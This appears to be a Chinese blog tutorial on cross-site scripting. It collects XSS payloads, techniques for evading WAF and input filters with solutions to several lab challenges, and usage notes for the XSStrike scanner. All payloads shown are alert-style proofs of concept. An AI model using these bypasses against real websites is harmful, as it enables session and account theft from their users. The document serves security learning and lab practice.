XSS的Waf绕过及工具使用(附靶场通关记录,持续更新)

一、常用payload

1、echo

<?php
echo "<script>alert(1)</script>";
?>

2、img标签

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>

3、CSS

<img STYLE="background-image:url(javascript:alert('XSS'))">

4、href

标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
 <a href=javascript:eval(alert('xss'))>aa</a>
 <a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
 XSS利用方式2
<script>alert('xss')</script>
 <a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

5、form标签

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss')>

6、input标签

标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>

7、iframe标签

XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
 <iframe src="data:text/html;base64,<script>alert('xss')</script>">
 <!--base64编码-->
 <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

8、svg标签

<svg onload=alert(1)>

9、其他

  • 事件型还有onbody标签

二、常用的绕过Waf

1、利用大小写绕过

这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样: <sCriPt>alert(1)</SCripT>

2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)

有的只过滤了一次script标签,因此可以使用双写来绕过<sCri<script>Pt>alert(1)</SC</script>ripT>

3、并不是只有script标签才可以插入代码

(1)img标签

<img src="x" onerror="alert(1)">就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

(2)onmouseover事件

  • onmouseover="alert(1)",比如

    • <a onmousemove="do something here"> 当用户鼠标移动时即可运行代码

    • <div onmouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

(3)onclick事件

onclick="alert(1)" 这个要点击后才能运行代码,条件相对苛刻,就不再详述。

(4)onload事件

比如以下代码

function render (input) {
 let domainRe = /^https?:\/\/www\.segmentfault\.com/ //http...或https....
 if (domainRe.test(input)) {  //是否包含在input中
 return `<script src="${input}"></script>`
 }
 return 'Invalid URL'
}

payload:http://www.segmentfault.com" onload="alert(1)

4、编码脚本绕过关键字过滤

(1)Javascript的编码--eval()函数

\uXXXX 这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。

有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)(对应于ASCII码的十六进制)

所以构建出来的攻击语句如下:<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

(2)HTML实体编码

实体编码字符<svg>(翻译官)

把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符

比如以下代码

function render (input) {
 const stripBracketsRe = /[()`]/g    //正则表达式,看//包裹的内容即可
 input = input.replace(stripBracketsRe, '')  把()`替换为空
 return input
}

payload:<svg><script>alert(1)</script> 因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用

(3)翻译官(Unicode编码)

function render (input) {
 input = input.toUpperCase()  //把所有的输出内容都大写
 return `<h1>${input}</h1>`
}

payload:<img src="" onerror="alert(1)"> 👈HTML编码或者<svg><img src="" onerror="alert(1)">👈Unicode编码

5、主动闭合标签实现注入代码

比如以下代码

function render (input) {
 return '<input type="name" value="' + input + '">'
}

payload:"><script>alert(1)</script><input type='name' value=" 或者 "><script>alert(1)</script>

6、绕过小括号()

在前端中,反引号`可以当作小括号来使用

比如以下代码

function render (input) {
 const stripBracketsRe = /[()]/g   //正则表达式,看//中间的内容即可
 input = input.replace(stripBracketsRe, '')  //把[()]替换为空
 return input
}

payload:<script>alert`1`</script>

7、绕过()`

(1)使用HTML实体编码

如上文所述

8、绕过HTML注释符

有两种注释方法:

<!-- 注释内容 -->

<!-- 注释内容 --!>

比如以下代码

function render (input) {
 input = input.replace(/-->/g, '😂')  //将-->替换为笑脸
 return '<!-- ' + input + ' -->'
}

payload:使用另一个注释符来畸形进行绕过

--!><script>alert(1)</script><!--

9、利用换行符绕过

%0a--换行符

比如以下代码

function render (input) {
 input = input.replace(/auto|on.*=|>/ig, '_') //auto或on开头,后面跟任意东西,直到出现=或者>都转化成_
 return `<input value=1 ${input} type="text">`
}

payload:

onmouseover
="alert(1)"

在前端的世界里,换行一样有用,因此这里通过换行来避免on碰到=

10、绕过右标签

function render (input) {
 const stripTagsRe = /<\/?[^>]+>/gi

 input = input.replace(stripTagsRe, '') //所有标签类的,只让写左标签,右标签一加,就替换为空
 return `<article>${input}</article>`
}

匹配</ 任意字符>,而且/i过滤了大小写,但html的单标签也可以解析

payload:<img src=x onerror="alert(1)"

11、绕过</内容>

function render (src) {
 src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') //碰到</style>就替换成/*坏人*/
 return `
 <style>
 ${src}
 </style>
 `
}

(1)使用换行

</style
>
<script>alert(1)</script>
<style>

(2)使用空格

</style ><script>alert(1)</script><style>

12、引用指定网站下的目录文件

function render (input) {
 input = input.toUpperCase()  //把所有的输出内容都大写
 return `<h1>${input}</h1>`
}

js标签,src的地址,随便,但是js的语法是大小写敏感的

开启phpstudy,在目录下创建一个ABC.JS,写上一条alert(1);语句,保存

payload:<script src="http://127.0.0.1/ABC.JS"></script>

13、使用JS的注释符

(1)注释符-->

--> js的注释符,让后面的语句不生效

function render (input) {
 input = input.replace(/[</"']/g, '') //过滤了< / " '
 return `
 <script>
 // alert('${input}')    注释只能注释掉这一行
 </script>
 `
}
xx
alert(1)
-->     js的注释符,让后面的语句不生效

(2)注释符//

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

payload:");alert(1)//

通过源码发现一些字符被转义了,就连换行符也被转义了。但是发现竟然还可以用,原因是//虽然被转义成了//,但转义之后还是//,在js中还是注释符(勿与正则混淆)

14、使用古英语

function render (input) {
 input = input.replace(/<([a-zA-Z])/g, '<_$1') <碰到字母就变成<_
 input = input.toUpperCase()
 return '<h1>' + input + '</h1>'
} 

使用维基百科搜索s,会发现长s,古英语的s

举一反三,碰到其他字母是否也可以用古英语

payload:

<ſcript src='http://127.0.0.1/ABC.JS'></script></pre>

15、使用伪协议

<a href="javascript:alert(1)">

三、Waf防护与绕过演示

就使用xss-labs这个靶场的第一关和某狗作为演示

分析拦截情况

  1. 通过去除关键词或关键词的其中某些字母判断拦截了什么关键词,如下正常
  1. 而如下就不正常了
  1. 如下正常。说明是匹配了<script>标签
  1. 尝试大小写绕过不行后,利用XSS平台,发现后面</h2>>把前面的给包起来了,导致访问的链接拼接了</h2
  1. 使用引号包裹链接即可
  1. 使用超链接也可以,但是<a href=xxx>猜测也就会检测href,而事实也确实如此,只需要在href前加/即可绕过,也不影响语义,而之所以加/能绕过,是因为在前端中/经常出现在</xxxx>闭合的后标签,加上后就会让waf误以为是结束标签

四、常规Waf绕过思路

[+] 标签语法替换
[+] 特殊符号干扰    比如 / #
[+] 提交方式更改    Request的前提下,Waf只检查URL内容而不检查POST内容
[+] 垃圾数据溢出    
[+] 加密解密算法
[+] 结合其他漏洞绕过

五、XSS自动化工具

1、Xwaf

下载链接:https://github.com/3xp10it/xwaf

现在作者貌似不再维护该项目了

2、XSStrike

下载链接:https://github.com/s0md3v/XSStrike

XSStrike 主要特点:
[+] 反射和 DOM XSS 扫描
[+] 多线程爬虫
[+] Context 分析
[+] 可配置的核心
[+] 检测和规避 WAF
[+] 老旧的 JS 库扫描
[+] 智能 payload 生成器
[+] 手工制作的 HTML & JavaScript 解析器
[+] 强大的 fuzzing 引擎
[+] 盲打 XSS 支持
[+] 高效的工作流
[+] 完整的 HTTP 支持
[+] Bruteforce payloads 支持
[+] Payload 编码

相关参数

-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟

六、Fuzzing测试

七、XSS(带过滤)靶场实战

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,504评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,434评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,089评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,378评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,472评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,506评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,519评论 3 413
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,292评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,738评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,022评论 2 329
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,194评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,873评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,536评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,162评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,413评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,075评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,080评论 2 352

推荐阅读更多精彩内容